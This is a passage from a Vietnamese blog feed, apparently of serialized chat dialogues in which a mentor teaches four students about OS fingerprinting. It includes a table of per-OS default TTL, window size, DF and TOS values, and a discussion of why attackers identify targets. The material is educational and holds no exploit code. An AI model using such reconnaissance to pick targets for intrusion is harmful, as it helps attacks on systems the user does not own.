&lt;br /&gt;&lt;span class="postbody"&gt;- Hướng 'đụng đâu chữa đấy' là hướng đợi server bị treo rồi mới  phân tích log và tìm thấy nguyên nhân rồi mới đi đến chỗ sửa chữa nó.  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- Hướng 'phỏng định trước' là hướng nghiên cứu  các trường hợp có thể xảy ra, tìm các loại công cụ tạo các dạng tấn công như thế  đề phòng chống. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Khi nhìn vào một cái perl  script được công bố trên các website chuyên bảo mật, đọc xuyên qua em có thể  hình dung là các web service có thể bị 'yếu' ở những điểm nào. Từ suy luận, em  có thể đi đến giải pháp sau đó. Ý anh là dựa vào cách thức tấn công của các công  cụ có sẵn và hình thành cách phòng chống những dạng tấn công tương tự. Điều này  có nghĩa: em phải hiểu cách làm việc của công cụ ấy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Èm... em  thấy xa vời quá. Có lẽ bọn em chưa đủ 'đô' để nghĩ đến những chuyện này đâu anh.  Hy vọng một ngày nào đó bọn em sẽ thấy hữu lý :). Với lại em thấy có bug track  và các cty, các nhóm phát triển cung cấp bản vá rồi mà anh? Nếu mình đào sâu quá  thì lấy đâu ra thời gian?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp  lời 'docco':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, em suy nghĩ thế cũng có  cái lý của nó. Tuy vậy, nếu mình muốn làm việc và suy nghĩ như một 'hacker' thì  mình không thể ỷ lại như một 'user'. Có thể em không đụng hết mọi thứ, có thể em  chỉ chuyên một thứ nào đó và em đóng góp những điều em tìm thấy từ lãnh vực em  chuyên." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' hỏi tiếp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À quên chứ, anh có tài liệu nào liệt kê các TTL  tiêu chuẩn của từng hệ điều hành không anh? Em muốn tham khảo thêm xem sao."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười phá lên rồi trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, em muốn quay lại cái TTL để táy máy hả?  Tốt lắm. Anh có nhớ là đã lưu một bản TTL tiêu chuẩn anh tìm thấy trên Web, để  anh tìm cái xem." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Sau vài phút lục lọi,  tôi paste đoạn TTL mà tôi tìm được:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đây em,  tha hồ mà tham khảo" &lt;/span&gt;
&lt;br /&gt;&lt;span class="quotetxt"&gt;Code:&lt;/span&gt;&lt;span class="postbody"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span style=""&gt; &lt;/span&gt;OS&lt;span style=""&gt;          &lt;/span&gt;&lt;span style=""&gt;          &lt;/span&gt;VER&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;PLATFORM&lt;span style=""&gt;         &lt;/span&gt;TTL&lt;span style=""&gt;     &lt;/span&gt;WINDOW&lt;span style=""&gt;          &lt;/span&gt;DF&lt;span style=""&gt;   &lt;/span&gt;TOS&lt;/pre&gt;&lt;pre&gt; DC-OSx&lt;span style=""&gt;                &lt;/span&gt;1.1-95&lt;span style=""&gt;      &lt;/span&gt;Pyramid/NILE&lt;span style=""&gt;     &lt;/span&gt;30&lt;span style=""&gt;      &lt;/span&gt;8192&lt;span style=""&gt;             &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Windows&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;9x/NT&lt;span style=""&gt;       &lt;/span&gt;Intel&lt;span style=""&gt;            &lt;/span&gt;32&lt;span style=""&gt;      &lt;/span&gt;5000-9000&lt;span style=""&gt;        &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; AIX&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;4.3.x&lt;span style=""&gt;       &lt;/span&gt;IBM/RS&lt;span style=""&gt;           &lt;/span&gt;60&lt;span style=""&gt;      &lt;/span&gt;006016000-16100&lt;span style=""&gt;  &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; AIX&lt;span style=""&gt;           &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;4.2.x&lt;span style=""&gt;       &lt;/span&gt;IBM/RS&lt;span style=""&gt;           &lt;/span&gt;60&lt;span style=""&gt;      &lt;/span&gt;006016000-16100&lt;span style=""&gt;  &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Cisco&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;11.2&lt;span style=""&gt;        &lt;/span&gt;7507&lt;span style=""&gt;             &lt;/span&gt;60&lt;span style=""&gt;      &lt;/span&gt;65535&lt;span style=""&gt;            &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; DigitalUnix&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;4.0&lt;span style=""&gt;         &lt;/span&gt;Alpha&lt;span style=""&gt;            &lt;/span&gt;60&lt;span style=""&gt;      &lt;/span&gt;33580&lt;span style=""&gt;            &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;16&lt;/pre&gt;&lt;pre&gt; IRI&lt;span style=""&gt;           &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;X6.x&lt;span style=""&gt;        &lt;/span&gt;SGI&lt;span style=""&gt;              &lt;/span&gt;60&lt;span style=""&gt;      &lt;/span&gt;61320&lt;span style=""&gt;            &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;16&lt;/pre&gt;&lt;pre&gt; OS390&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;2.6&lt;span style=""&gt;         &lt;/span&gt;IBM/S390&lt;span style=""&gt;         &lt;/span&gt;60&lt;span style=""&gt;      &lt;/span&gt;32756&lt;span style=""&gt;            &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Reliant&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;5.43&lt;span style=""&gt;        &lt;/span&gt;Pyramid/RM1000&lt;span style=""&gt;   &lt;/span&gt;60&lt;span style=""&gt;      &lt;/span&gt;65534&lt;span style=""&gt;            &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; FreeBSD&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;3.x&lt;span style=""&gt;         &lt;/span&gt;Intel&lt;span style=""&gt;            &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;17520&lt;span style=""&gt;            &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;16&lt;/pre&gt;&lt;pre&gt; Linux&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;2.2.x&lt;span style=""&gt;       &lt;/span&gt;Intel&lt;span style=""&gt;            &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;32120&lt;span style=""&gt;            &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; OpenBSD&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;2.x&lt;span style=""&gt;         &lt;/span&gt;Intel&lt;span style=""&gt;            &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;17520&lt;span style=""&gt;            &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;16&lt;/pre&gt;&lt;pre&gt; OS/400&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;R4.4&lt;span style=""&gt;        &lt;/span&gt;AS/400&lt;span style=""&gt;           &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;8192&lt;span style=""&gt;             &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; SCO&lt;span style=""&gt;           &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;R5&lt;span style=""&gt;          &lt;/span&gt;Compaq&lt;span style=""&gt;           &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;24820&lt;span style=""&gt;            &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Solaris&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;8&lt;span style=""&gt;           &lt;/span&gt;Intel/Sparc&lt;span style=""&gt;      &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;24820&lt;span style=""&gt;            &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; FTX(UNIX)&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;3.3&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;STRATUS&lt;span style=""&gt;          &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;32768&lt;span style=""&gt;            &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Unisys&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;x&lt;span style=""&gt;           &lt;/span&gt;Mainframe&lt;span style=""&gt;        &lt;/span&gt;64&lt;span style=""&gt;      &lt;/span&gt;32768&lt;span style=""&gt;            &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Netware&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;4.11&lt;span style=""&gt;        &lt;/span&gt;Intel&lt;span style=""&gt;            &lt;/span&gt;128&lt;span style=""&gt;     &lt;/span&gt;32000-32768&lt;span style=""&gt;      &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Windows&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;9x/NT&lt;span style=""&gt;       &lt;/span&gt;Intel&lt;span style=""&gt;            &lt;/span&gt;128 &lt;span style=""&gt;    &lt;/span&gt;5000-9000&lt;span style=""&gt;        &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Windows&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;2000&lt;span style=""&gt;        &lt;/span&gt;Intel&lt;span style=""&gt;            &lt;/span&gt;128&lt;span style=""&gt;     &lt;/span&gt;17000-18000&lt;span style=""&gt;      &lt;/span&gt;y&lt;span style=""&gt;   &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; Cisco&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;12.0&lt;span style=""&gt;        &lt;/span&gt;2514&lt;span style=""&gt;             &lt;/span&gt;255&lt;span style=""&gt;     &lt;/span&gt;3800-5000&lt;span style=""&gt;        &lt;/span&gt;n&lt;span style=""&gt;   &lt;/span&gt;192&lt;/pre&gt;&lt;pre&gt; Solaris&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;2.x&lt;span style=""&gt;         &lt;/span&gt;Intel/Sparc&lt;span style=""&gt;      &lt;/span&gt;255&lt;span style=""&gt;     &lt;/span&gt;8760&lt;span style=""&gt;             &lt;/span&gt;y &lt;span style=""&gt;  &lt;/span&gt;0&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt; &lt;p class="MsoNormal"&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thông tin này đã hơi cũ rồi  nhưng có phần lớn vẫn còn giá trị. Thử 'ngâm kíu' xem sao." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' tắc lưỡi:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chậc....  có những OS em chưa hề nghe qua luôn, đừng nói chi là có để mà thử :). Còn mấy  cái cột WINDOW, DF và TOS để làm gì vậy anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, WINDOW là  window size của packet, DF là viết tắc của "don't fragment" và TOS là viết tắc  của "type of service". Em xem trong cuốn 'cẩm nang' tcp/ip của Richards thì sẽ  rõ chúng là gì, có vai trò gì. 3 giá trị WINDOW, DF và TOS cũng là các giá trị  đặc thù trong việc ứng dụng tcp stack trên mỗi hệ điều hành. Bởi vậy, có thể  dùng các giá trị này để phần nào xác định footprint." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' tham gia:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em  cũng chưa hề nghe qua tên của một số hệ điều hành trên danh sách này. Chắc điều  kiện ở VN thì có lẽ khó lòng mà tiếp cận được nhưng cái chính là để mình tham  khảo cho một số hệ điều hành mình có thể mó tay vào. Nhưng mà làm sao thu thập  được các thông tin ở trên hở anh? Chẳng lẽ muốn biết thì phải cài hết các hệ  điều hành đó mà vọc sao?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả  lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không em. Thông thường một project như  nmap khởi đầu chỉ nhỏ thôi và nó cũng thừa hưởng khá nhiều từ những công cụ đi  trước. Họ tạo một database để mọi người đóng góp các footprint đã được tìm thấy.  Mỗi người một ít, lâu dần nó đồ sộ và bao gồm rất nhiều thông tin. Chẳng có ai  có thể tự tạo ra mọi thứ được đâu em :)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'haothu' đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, ra vậy."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em thấy nmap có option -O để đoán OS của máy mình muốn  thăm dò. Thật sự nó làm việc thế nào vậy anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em thì  khoái tìm cách khắc chế mấy cái rà quét như nmap mà thôi. Em nghĩ trước mắt mình  chỉ cần thừa hưởng những điều đã được hình thành cũng đã đủ vỡ cả đầu rồi."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ý kiến của ccxx và docco đều hữu lý cả. Có lẽ mấy anh em mình  bàn đến chuyện này sau hả? Mình ngồi 'ngâm' thế này đã khá lâu. Anh phải dọt.  Lần này mình bàn khá nhiều vấn đề đó, cho nên mấy đứa chịu khó xem lại và kiểm  chứng, thử nghiệm sơ sơ để nắm hả? Chào mấy đứa." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Bộ bốn đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào anh."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi logoff.&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;10/01/2006 &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;còn&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-11</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-11.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:11:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-8670073279648152210</guid><description>&lt;span style="font-weight: bold; font-family: arial;"&gt;14. Banner, thật hay giả?:&lt;br /&gt;Một tuần lễ trôi qua. Tôi nhận được vài e-mail của bộ tứ cuti, ccxx, docco và haothu với nội dung phần lớn là những thắc mắc về lý do tại sao việc xác định "footprint" của mục tiêu lại quan trọng đến như vậy. Tôi quá bận rộn nên chỉ hồi đáp một cách tổng quát và hẹn lần 'đà khía' kế tiếp sẽ trả lời chi tiết hơn. Tôi cũng không quên nhắc mấy 'trự' nên xem kỹ cơ chế truyền tải thông tin của giao thức TCP vì nó sẽ dẫn đến một bước sâu hơn trong việc tìm "footprint" của mục tiêu. Bộ tứ đề nghị hoãn lại cuộc 'đà khía' thêm một tuần để đủ thời gian chuẩn bị và tất nhiên là tôi đồng ý.&lt;br /&gt;&lt;br /&gt;Thêm một tuần lễ trôi qua. Tôi nhận được một offline message của 'cuti' hẹn cuối tuần gặp nhau trên YIM. Tôi đồng ý.&lt;br /&gt;&lt;br /&gt;Chiều thứ bảy, lúc 2 giờ trưa tôi vào YIM thì bộ tứ đã có mặt đầy đủ. Trong chốc lát tôi nhận được lời mời tham gia "conference".&lt;br /&gt;&lt;br /&gt;'cuti nhanh nhảu:&lt;br /&gt;"Chào anh, anh khoẻ hông? Bọn em lên đây cả tiếng đồng hồ rồi. Đang nói chuyện tầm phào cho vui trong khi chờ anh đó."&lt;br /&gt;&lt;br /&gt;Tôi chào bộ tứ:&lt;br /&gt;"Chào mấy đứa. Khoẻ hết chớ? Sao lên sớm vậy? Khoa có chuyện gì mà vắng mặt lâu vậy em?"&lt;br /&gt;&lt;br /&gt;'haothu' đáp:&lt;br /&gt;"Dạ em kẹt một số chuyện gia đình nhưng mọi chuyện xong hết rồi. Bây giờ em sẽ tham gia 'đà khía' đều đặn hơn. Em cũng lấy nội dung mấy lần trước để xem hết rồi anh."&lt;br /&gt;&lt;br /&gt;'ccxx' đi ngay vào vấn đề:&lt;br /&gt;"Em có gởi mail hỏi anh lý do tại sao việc xác định 'footprint' lại quan trọng như vậy và anh hứa là anh sẽ giải thích chi tiết. Vậy bây giờ anh tiện giải thích không anh?"&lt;br /&gt;&lt;br /&gt;'docco' chêm vào:&lt;br /&gt;"Ui, không ngờ bà Như lanh thiệt. Tui chưa kịp hỏi bà đã hỏi rồi. Anh D ơi, em đọc kỹ lại mấy bài anh em mình 'đà khía' thì thấy việc dò tìm và xác định 'footprint' của mục tiêu rất quan trọng. Như anh đã đề cập trước đây muốn khai thác một mục tiêu thì phải nắm rõ mục tiêu. Tuy nhiên, em vẫn chưa hoàn toàn nắm được vấn đề một cách xác thực. Anh nói rõ hơn được không anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Ừa, việc xác định 'footprint' quan trọng và mất thời gian bởi vì nó quyết định cho sự thành công hay thất bại của việc thâm nhập. Nói trên bình diện bảo mật, che dấu hoặc thay đổi 'footprint' sẽ phần nào đánh lạc hướng hoặc làm chậm kẻ muốn tấn công. Những hệ thống, những máy chủ không có gì bảo vệ thì chẳng có gì đáng nói; chỉ cần một vài thao tác là em đã có thể xác định 'footprint' của nó cho nên việc xác định 'footprint' không còn đáng kể nữa. Tuy nhiên, có những trường hợp admin của hệ thống nào đó cố tình thay đổi 'footprint' của hệ thống để đánh lừa kẻ muốn tấn công thì sự thể hoàn toàn khác."&lt;br /&gt;&lt;br /&gt;'haothu' hỏi tiếp:&lt;br /&gt;"Cụ thể như thế nào anh? Em thấy khó hình dung quá :("&lt;br /&gt;&lt;br /&gt;Tôi trả lời:&lt;br /&gt;"Ừa, quả thật là hơi khó hình dung nếu em chưa 'kinh qua' những chuyện này. Hãy thử 'đào xới' một tí xem sao? Anh nhớ đã có lần anh đề cập đến chuyện 'các trình độ thâm nhập' rồi phải không?"&lt;br /&gt;&lt;br /&gt;'cuti' đáp:&lt;br /&gt;"Dạ, có phải ý anh là chuyện 'dân hacker thứ thiệt' tự thử nghiệm và tìm lỗi để thâm nhập, 'dân hacker bán chuyên' thì dựa vào lỗi đã được công bố trên bug-track và dân 'kiddie' thì chỉ dùng công cụ có sẵn' không vậy?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Ừa, đúng vậy. Hãy thử nghĩ xem, trường hợp 'dân hacker thứ thiệt tự thử nghiệm và tìm lỗi', chuyện 'footprint' dính líu gì ở đây?"&lt;br /&gt;&lt;br /&gt;'ccxx' đáp:&lt;br /&gt;"Em nghĩ chuyện 'footprint' chẳng còn quan trọng với trường hợp 'hacker thứ thiệt' nữa."&lt;br /&gt;&lt;br /&gt;Tôi hỏi tiếp:&lt;br /&gt;"Em giải thích thêm một tí được không?"&lt;br /&gt;&lt;br /&gt;'ccxx' đáp:&lt;br /&gt;"Em thấy quá hiển nhiên mà anh? Nếu như 'hacker thứ thiệt' tự nghiên cứu và tìm lỗi thì hẳn nhiên anh ta phải làm việc cụ thể trên một hệ điều hành, trên một môi trường nào đó. Em hình dung là anh ta phải lập một máy chủ có hệ điều hành cụ thể, có phiên bản chương trình cụ thể rồi mới thử nghiệm và tìm lỗi. Cho nên, 'footprint' nằm trong tay anh ta là chuyện hiển nhiên."&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Rồi, cuti, haothu, docco nghĩ sao với nhận định này của 'ccxx'?"&lt;br /&gt;&lt;br /&gt;Cả ba im lặng hồi lâu. Sau cùng, 'haothu' lên tiếng:&lt;br /&gt;"Em nghĩ 'ccxx' nói đúng lắm nhưng nó chỉ giới hạn trong trường hợp tay 'hacker thứ thiệt' đó tìm lỗi trên chính máy chủ do mình thiết lập. Còn trường hợp tìm lỗi trên một server nào đó thì sao? Tay 'hacker thứ thiệt' ấy vẫn phải xác định 'footprint' như thường. Không biết em nói có đúng không?"&lt;br /&gt;&lt;br /&gt;'docco' lên tiếng:&lt;br /&gt;"Ý em cũng giống như ý thằng Khoa đó anh."&lt;br /&gt;&lt;br /&gt;'cuti' góp phần:&lt;br /&gt;"Đúng rồi. Tự thiết lập một máy chủ, cài soft rồi tìm lỗi cụ thể thì chuyện 'footprint' là chuyện không cần thiết vì mình đã thiết lập mọi thứ theo ý. Trường hợp các tay 'hacker thứ thiệt' thử dò tìm lỗi trên các máy chủ không phải do họ làm chủ có xảy ra không anh?"&lt;br /&gt;&lt;br /&gt;Lúc này tôi mới lên tiếng:&lt;br /&gt;"Anh tin rằng nhận định của 'ccxx' rất hữu lý. Hầu hết các trường hợp thử nghiệm và tìm lỗi xảy ra trên chính server mà tay 'hacker thứ thiệt' ấy thiết lập. Cho nên, chuyện xác định 'footprint' ở đây không còn là một việc cần thiết nữa. Riêng trường hợp thử nghiệm trên server không phải do mình thiết lập thì anh không thể xác định được vì chẳng có số liệu nào cho chuyện này. Tuy nhiên, anh hình dung rằng trường hợp 'thử trên server mình không làm chủ' vẫn có thể xảy ra nhưng khá ít. Lý do là thử nghiệm và tìm lỗi như thế khá mơ hồ và kém hiệu xuất. Hơn nữa, để thử nghiệm và tìm lỗi một cách đúng mức, em cần phải sử dụng hàng loạt công cụ như debugging, tracing... em phải lặp đi, lặp lại một test case với nhiều biến số khác nhau để tìm kết quả. Những thao tác này nằm trong khuôn khổ 'local', có nghĩa là em phải có quyền sử dụng và thực thi các công cụ ngay trên máy chủ để tìm lỗi."&lt;br /&gt;&lt;br /&gt;Tôi dừng lại vài giây và hỏi tiếp:&lt;br /&gt;"Vậy, trường hợp các 'hacker bán chuyên' dựa vào bug-track để thâm nhập thì dính líu gì đến chuyện 'footprint'?"&lt;br /&gt;&lt;br /&gt;Lần này 'cuti' nhanh nhảu trả lời:&lt;br /&gt;"Em nghĩ nó 'dính líu' nhiều lắm chứ. Em thấy trên bug-track ghi rõ lỗi trên hệ điều hành nào, cho phiên bản của software nào. Điều này chứng tỏ, nếu tìm cách áp dụng nó để exploit trên một hệ điều hành khác, trên phiên bản software khác thì cơ hội thành công hầu như không có. Bởi vậy, dân 'bán chuyên' phải đi qua chặng đường xác định xem mục tiêu của mình có rơi vào 'phạm vi' con bug đã được công bố hay không thì mới có kết quả khả quan."&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Hay lắm. Mấy đứa còn ý kiến nào khác không?"&lt;br /&gt;&lt;br /&gt;'docco' lên tiếng:&lt;br /&gt;"Em nghĩ Hưng nói đúng quá rồi. Chỉ có điều 'dân bán chuyên' xác định 'footprint' ra sao đây?"&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Đó. Bây giờ em đã nhận ra tầm quan trọng của việc xác định 'footprint' chưa? Chuyện 'dân bán chuyên' xác định 'footprint' ra sao thì mình sẽ bàn đến."&lt;br /&gt;&lt;br /&gt;'haothu' trả lời:&lt;br /&gt;"Chuyện này thì quá rõ rồi. Nếu không xác định được 'footprint' thì chỉ có nước làm... mò mà thôi."&lt;br /&gt;&lt;br /&gt;Tôi đẩy thêm:&lt;br /&gt;"Rồi, mình đã xác định được hai trường hợp. Nếu vậy thì trường hợp các 'kiddie' tìm đâu ra vài món đồ nghề thì dính líu gì đến 'footprint' nhỉ?"&lt;br /&gt;&lt;br /&gt;'ccxx' cười xoà:&lt;br /&gt;"Hi hi hi, em nghĩ là anh đang hỏi mẹo cái gì đây rồi. Nếu dựa trên khái niệm thế nào là 'kiddie' mà anh đưa ra trước đây thì mấy tay này có sá gì 'footprint' hay không đâu anh? Vả lại, liệu họ có kiên nhẫn hoặc kiến thức để tìm 'footprint' hoặc quý trọng kết quả mình tìm được ở mức độ thăm dò hay không?"&lt;br /&gt;&lt;br /&gt;'docco' phản đối:&lt;br /&gt;"Tui không đồng ý với bà Như điểm này. Hiện nay có quá nhiều công cụ từ thương mại đến mã nguồn mở và những công cụ này rất mạnh, rất dễ dùng và cũng rất nguy hiểm. Nếu 'kiddie' chịu khó một tí thì chuyện gì cũng có thể được cả."&lt;br /&gt;&lt;br /&gt;'ccxx' phản đòn:&lt;br /&gt;"Vậy ý ông 'kiddie' đủ khả năng và kinh nghiệm xác định 'footprint' bằng cách dùng công cụ nào đó một cách dễ dàng? Tui không tin như vậy. Cho dù có dùng tool nào đó, dù dễ đến đâu, ông cũng cần có ít nhiều kiến thức trong lãnh vực này trước khi có thể dùng nó một cách hiệu quả. Liệu 'kiddie' có chịu khó đọc hướng dẫn một cách cẩn thận trước khi dùng không? và liệu sau khi lấy được thông tin nào đó, họ có đủ sức đối chiếu với thông tin được công bố hay tìm cách xác định lại thông tin tìm được xem chúng có đáng tin cậy hay không?"&lt;br /&gt;&lt;br /&gt;'haothu' xen vào:&lt;br /&gt;"Hì hì, bà Như đánh giá 'kiddie' thấp quá vậy? Bản thân tui thì quả thật tui thấy hơi oải khi phải dùng một công cụ chạy trên dòng lệnh và phải đọc hướng dẫn sử dụng. Loại công cụ này thường có hướng dẫn quá ngắn gọn, đọc xong phải vận dụng, suy nghĩ thì mới dùng được. Tuy vậy, nếu tui mà 'kết' một cái gì thì tui sẵn sàng bỏ công ra để lãnh hội nó thôi."&lt;br /&gt;&lt;br /&gt;'cuti' góp chuyện:&lt;br /&gt;"Em cũng thấy Khoa nói đúng đó. Bản thân em cũng bị dính vào cảm giác này."&lt;br /&gt;&lt;br /&gt;Tôi hướng câu chuyện về trọng điểm:&lt;br /&gt;"OK, cứ cho là có 'kiddie' có thể dùng các công cụ để xác định 'footprint' một cách không khó khăn, vậy, mình có thể thấy được tầm quan trọng của việc xác định 'footprint' rồi chứ? 'haothu', em thấy sao?"&lt;br /&gt;&lt;br /&gt;'haothu' lững lờ:&lt;br /&gt;"Dạ, trên mặt nguyên tắc thì sự thể rõ ràng hơn rồi nhưng cái này chắc phải bắt tay vào làm thì mới đánh giá đúng mức được tầm quan trọng của việc tìm 'footprint' thôi."&lt;br /&gt;&lt;br /&gt;Tôi cười, cố gút vấn đề lại:&lt;br /&gt;"OK, em thử hình dung xem, có bao nhiêu phần trăm 'hacker chuyên', bao nhiêu phần trăm 'hacker bán chuyên' và bao nhiêu phần trăm là 'kiddie'?"&lt;br 